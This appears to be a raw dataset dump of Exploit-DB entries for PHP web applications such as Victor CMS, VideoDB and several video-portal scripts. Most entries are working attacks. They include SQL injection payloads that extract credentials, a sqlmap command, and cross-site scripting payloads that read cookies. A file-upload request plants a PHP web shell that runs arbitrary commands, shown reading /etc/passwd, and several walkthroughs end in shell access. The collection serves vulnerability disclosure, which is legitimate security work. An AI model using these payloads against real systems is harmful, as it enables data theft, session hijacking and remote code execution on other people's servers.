deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48451
Description: Victor CMS 1.0 - 'post' SQL Injection
Type: webapps
Platform: php
Date: 2020-05-11
Author: BKpatron

Exploit:
# Exploit Title: Victor CMS 1.0 - 'post' SQL Injection
# Google Dork: N/A
# Date: 2020-05-09
# Exploit Author: BKpatron
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Discription:
# The Victor CMS v1.0 application is vulnerable to SQL injection via the 'post' parameter on the post.php page.
# vulnerable file : post.php
http://localhost/CMSsite-master/post.php?post=1


Parameter: post (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: post=1 AND 2333=2333

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: post=1 AND (SELECT 4641 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (ELT(4641=4641,1))),0x717a627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: post=1 AND (SELECT 7147 FROM (SELECT(SLEEP(5)))vltp)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: post=1 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x[PII_REDACTED],0x[PII_REDACTED][PII_REDACTED]667943786c4f7a634a654a707448516e6f6e6241674f4c4a[PII_REDACTED]6c,0x717a627171),NULL,NULL-- PTYU

[INFO] the back-end DBMS is MySQL
web application technology: PHP, Apache 2.4.39, PHP 7.2.18
back-end DBMS: MySQL >= 5.0
# Proof of Concept:
http://localhost/CMSsite-master/post.php?post=sqli

http://localhost/CMSsite-master/post.php?post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x[PII_REDACTED],0x[PII_REDACTED][PII_REDACTED]667943786c4f7a634a654a707448516e6f6e6241674f4c4a[PII_REDACTED]6c,0x717a627171),NULL,NULL--%20PTYU

GET /CMSsite-master/post.php?post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x[PII_REDACTED],0x[PII_REDACTED][PII_REDACTED]667943786c4f7a634a654a707448516e6f6e6241674f4c4a[PII_REDACTED]6c,0x717a627171),NULL,NULL--%20PTYU HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=gd27m8o57gcb23t7se4d4tdv1g
Connection: keep-alive
Upgrade-Insecure-Requests: 1
post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x[PII_REDACTED],0x[PII_REDACTED][PII_REDACTED]667943786c4f7a634a654a707448516e6f6e6241674f4c4a[PII_REDACTED]6c,0x717a627171),NULL,NULL--%20PTYU
Exploit-DB #48734
Description: Victor CMS 1.0 - 'Search' SQL Injection
Type: webapps
Platform: php
Date: 2020-08-06
Author: screetsec

Exploit:
# Exploit Title: Victor CMS 1.0 - 'Search' SQL Injection
# Date: 2020-08-04
# Exploit Author: Edo Maland
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: XAMPP / Windows 10

-------------------------------------------------------------------------------------------------------------------------------------
# Discription:
# The Victor CMS v1.0 application is vulnerable to SQL injection via the 'search' parameter on the search.php page.

# Feature: Search
# Vulnerable file: search.php
# Vulnerable parameter : 
	- search
# PoC

Url : http://example.com/CMSsite/search.php
Methode : Post (search="[SQLi]"&submit)

Payload : 1337'union+select+1,2,version(),database(),5,6,7,8,9,10 -- - 

# Burpsuite Requests

POST /CMSsite/search.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Origin: http://example.com
Connection: close
Referer: http://example.com/CMSsite/search.php
Cookie: PHPSESSID=lu0nb6l63bleu39pbjf5a954p9
Upgrade-Insecure-Requests: 1

search=1337'union+select+1,2,version(),databases(),5,6,7,8,9,10%20--%20-&submit=

# Sqlmap Command

sqlmap -u "http://example.com/CMSsite/search.php" --data="search=1337*&submit=" --dbs --random-agent -v 3
Exploit-DB #48626
Description: Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-06-30
Author: Anushree Priyadarshini

Exploit:
# Exploit Title: Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-06-28
# Exploit Author: Anushree Priyadarshini
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link:https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: CVE-2020-15599

Description: The form parameter 'user_firstname' and 'user_lastname' is vulnerable to stored cross site scripting

Payload for 'user_firstname' : <script>alert(1)</script> 

Payload for 'user_lastname' : <script>alert(2)</script>



POST /CMSsite-master/register.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9,en-GB;q=0.8,en-CA;q=0.7,zh-CN;q=0.6,zh-HK;q=0.5,zh-SG;q=0.4,zh-TW;q=0.3,ja;q=0.2,ko;q=0.1
Accept-Encoding: gzip, deflate
Referer: http://localhost/CMSsite-master/register.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 190
Connection: close
Cookie: PHPSESSID=491d4jir62vldd0u84knd1m1fi
Upgrade-Insecure-Requests: 1

user_name=DemoUser&user_firstname=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&user_lastname=%3Cscript%3Ealert%282%29%3B%3C%2Fscript%3E&user_email=Hack%40gmail.com&user_[CREDENTIAL_REDACTED]=
Exploit-DB #48490
Description: Victor CMS 1.0 - Authenticated Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-05-19
Author: Kishan Lal Choudhary

Exploit:
# Exploit Title: Victor CMS 1.0 - Authenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2020-05-19
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10

Description: The GET parameter '/admin/users.php?source=add_user' is vulnerable Arbitary File Uploads


POST /admin/users.php?source=add_user HTTP/1.1
Host: localhost
Content-Length: 1049
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrMPNq33u6rCpEFhB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/users.php?source=add_user
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: PHPSESSID=cjpan858fghefnjse7qv1j3v72
Connection: close

------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_name"

test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_firstname"

test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_lastname"

test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_image"; filename="exp.php"
Content-Type: application/octet-stream

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_role"

Admin
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_email"

test@tets.com
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_password"

test@1234
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="create_user"

Add User
------WebKitFormBoundaryrMPNq33u6rCpEFhB--



The Shell can be triggered by visting

http://localhost/img/exp.php?cmd=cat%20/etc/passwd
Exploit-DB #49310
Description: Victor CMS 1.0 - File Upload To RCE
Type: webapps
Platform: php
Date: 2020-12-22
Author: Mosaaed

Exploit:
# Exploit Title: Victor CMS 1.0 - File Upload To RCE
# Date: 20.12.2020
# Exploit Author: Mosaaed
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0

# Tested on: Apache2/Linux

Step1: register http://localhost/CMSsite-master/register.php
step2: login as user
step3: Go to Profile 
step4: upload imag as php file (upload shell.php)
step5: update user 
step6: You will find your shell in img folder :/path/img/cmd.php

http://localhost/CMSsite-master/img/cmd.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Exploit-DB #49282
Description: Victor CMS 1.0 - Multiple SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2020-12-17
Author: Furkan Göksel

Exploit:
# Exploit Title: Victor CMS 1.0 - Multiple SQL Injection (Authenticated)
# Date: 17.12.2020
# Exploit Author: Furkan Göksel
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Description: The Victor CMS v1.0 application is vulnerable to SQL
# injection in c_id parameter of admin_edit_comment.php, p_id parameter
# of admin_edit_post.php, u_id parameter of admin_edit_user.php, edit
# parameter of admin_update_categories.php.

# Tested on: Apache2/Linux

Step 1: Register the system through main page and login your account

Step 2: After successful login, select one of the specified tabs
(post, categories, comments, users)

Step 3: When you click edit button of these records, an HTTP request
is sent to server to get details of this record with corresponding
parameters (eg. for edit comment it is c_id parameter)

Step 4: Inject your SQL payload to these ids or use sqlmap to dump

Example PoC request is as follows:

GET /cve/admin/comment.php?source=edit_comment&c_id=2%20AND%20SLEEP(10) HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0)
Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=st8hhobgplut500p3lpug8qa66
Upgrade-Insecure-Requests: 1

Same PoC payload is valid for all edit features of specified tabs.
Exploit-DB #36462
Description: Video Community Portal - 'userID' SQL Injection
Type: webapps
Platform: php
Date: 2011-12-18
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/51108/info

Video Community Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/videoportalneu/index.php?d=user&id=2â??a
Exploit-DB #13970
Description: Video Community portal - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-22
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Video Community portal SQLi and XSS Vulnerable
Vendor url:http://www.2daybiz.com/
Version:1
Price:120$
Published: 2010-06-22
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, M4n0j, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team , Andhrahackers.com
Shoutzz:- To all ICW members.
‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

2daybiz Video Community portal is the ultimate solution for starting your video sharing and uploading community similar to YouTube, Daily Motion and Myspace Videos. This enterprise level video sharing software offers a powerful and rich featured solution. In this software members can upload videos, rate videos, tag videos, leave comments, edit uploaded videos, title and description set video as public/private, video play list, create channels, groups and favorite videos. 

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Vulnerability:

*SQLi Vulnerable

DEMO URL:

http://www.site.com/products/videocommunity/video.php?videoid=[sqli]

*XSS Vulnerable

Parameter:'"--><script>alert(0x000872)</script>

DEMO URL:

http://www.site.com/products/videocommunity/video.php?videoid=[xss]

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #41126
Description: Video Site Creator Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-19
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: VideoZone - Video Site Creator Script 
# Script Buy Now: http://www.scriptfolder.com/scriptfolder-videozone-video-site-creator/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
Exploit-DB #41306
Description: Video Subscription - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: TV - Video Subscription - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://codepaul.com/
# Software Buy: https://codecanyon.net/item/tv-video-subscription/13966427
# Demo: http://codepaul.com/tv/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search?keyword=[SQL]
# # # # #
Exploit-DB #10586
Description: VideoCMS 3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-21
Author: kaMtiEz

Exploit:
###################################################################################
                                                                                  #
[~] VideoCMS SQL injection vulnerability - (id)                                   #
[~] Author	: kaMtiEz (kamzcrew@gmail.com)                                    #
[~] Homepage	: http://www.indonesiancoder.com                                  #
[~] Date	: Desember 14, 2009                                               #
                                                                                  #
###################################################################################

[ Software Information ]

[+] Vendor : http://www.codemight.com/
[+] version : 3.1 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : "Think iT"
[+] Location : INDONESIA - JOGJA

##################################################################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://server/[kaMtiEz]/index.php?m=video&v=[VALID-ID][SQL]

[ Exploit ]

/**/and/**/1=2/**/union/**/all/**/select/**/666,666,@@version,concat_ws(0x3a,username,password),666,666,666/**/from/**/users--


===========================================================================

[ Thx TO ]
[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry ..
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Nyak ama babe gua .. tak lupa adik gua ..
[+] segelas vodka menemaniku setiap malam .. :P
[+] Dengerin Radio yach di http://antisecradio.fm ok coy ?

[ QUOTE ]

[+] rm -rf 

[ EOF ]

[+] INDONESIANOCODER TEAM
[+] KILL -9 TEAM
Exploit-DB #33619
Description: VideoDB 3.0.3 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-08
Author: vr

Exploit:
source: https://www.securityfocus.com/bid/38155/info

VideoDB is prone to an cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

VideoDB 3.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/videodb/login.php?error=%3Cscript%3Ealert%20%28%27XSS%27%29%3C/script%3E
Exploit-DB #15225
Description: VideoDB 3.0.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-10-09
Author: Valentin

Exploit:
# Exploit Title: VideoDB Multiple Vulnerabilities
# Date: 09.10.2010
# Author: Valentin
# Category: webapps/0day
# Version: 3.0.3 and earlier

# Tested on: 
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = VideoDB Multiple Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = VideoDB
Vendor = Andreas GÃ¶tz
Vendor Website = http://www.videodb.net
Affected Version(s) = 3.0.3 and earlier

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> 1 - SQL Injection / Possible Auth Bypass
The VideoDB is affected by multiple SQL Injection vulnerabilities.

a) The search script search.php
search.php?q=test&engine=videodb&owner=Guest&fields[]=[SQL Injection]

b) The login script login.php
Trigger SQL errors with the user name field or try admin' OR '1'='1 as user name.
Hint: "Normal" auth bypass is not possible.

c) The index.php script
index.php?filter=new&quicksearch=test&owner=%3Cany%3E&mediafilter=[SQL Injection]&submit.x=0&submit.y=0


>> 2 - Local File Inclusion
help.php?page=[LFI]
Hint: Effective local file inclusion can be tricky.


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 09.10.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS, packetstormsecurity.org, exploit-db.com


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #33186
Description: VideoGirls - 'forum.php?t' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-26
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/36168/info

VideoGirls is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible. 

http://www.example.com/forum.php?ftid=2&t="><script>alert(document.cookie);</script>
Exploit-DB #33187
Description: VideoGirls - 'profile.php?profile_name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-26
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/36168/info
 
VideoGirls is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
 
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/profile.php?profile_name="><script>alert(document.cookie);</script>
Exploit-DB #33188
Description: VideoGirls - 'view.php?p' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-26
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/36168/info
  
VideoGirls is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
  
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/view.php?p="><script>alert(document.cookie);</script>
Exploit-DB #41552
Description: Videohive Clone Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Videohive Clone Script - SQL Injection
# Google Dork: N/A
# Date: 08.03.2017
# Vendor Homepage: http://bsetec.com/
# Software : http://videohiveclone.bsetec.com/
# Demo: http://www.bsetecdemo.com/videohiveclone/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/LastAdded/?by=[SQL]
# # # # #
Exploit-DB #10647
Description: VideoIsland - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-24
Author: RENO

Exploit:
---------------------------------------
VideoIsland Remote shell upload Vulnerability
---------------------------------------

 #####################################################
 # [+] Author        :  RENO                         #
 # [+] Email         :  R7e@HoTMaiL.coM              #
 # [+] Site :  www.vxx9.cc                           #
 # [+] Team :  SauDi ViRuS TeaM                      #
 # [+] Dork : search for it :p                       #
 # [+] Script : VideoIsland                          #
 #####################################################




[+] demo : http://www.giantisland.com/VideoIsland/
[+] price : $29.00


Exploit :

how to do it :

1-Get in the site
2-go to VideoManager
3- selcet Upload
4-from the File Uploader upload your phpshell

-------------

you will find it in :

http://localhost/Path/Storage/reno.php


good luck :D

Thanks to : Allah ..


Greets : Dr.php , ! BaD BoY ! , Jetli007 , Gov.Hacker , AnTi SeCuRe , Dr.$audi , All Vxx9.Cc Members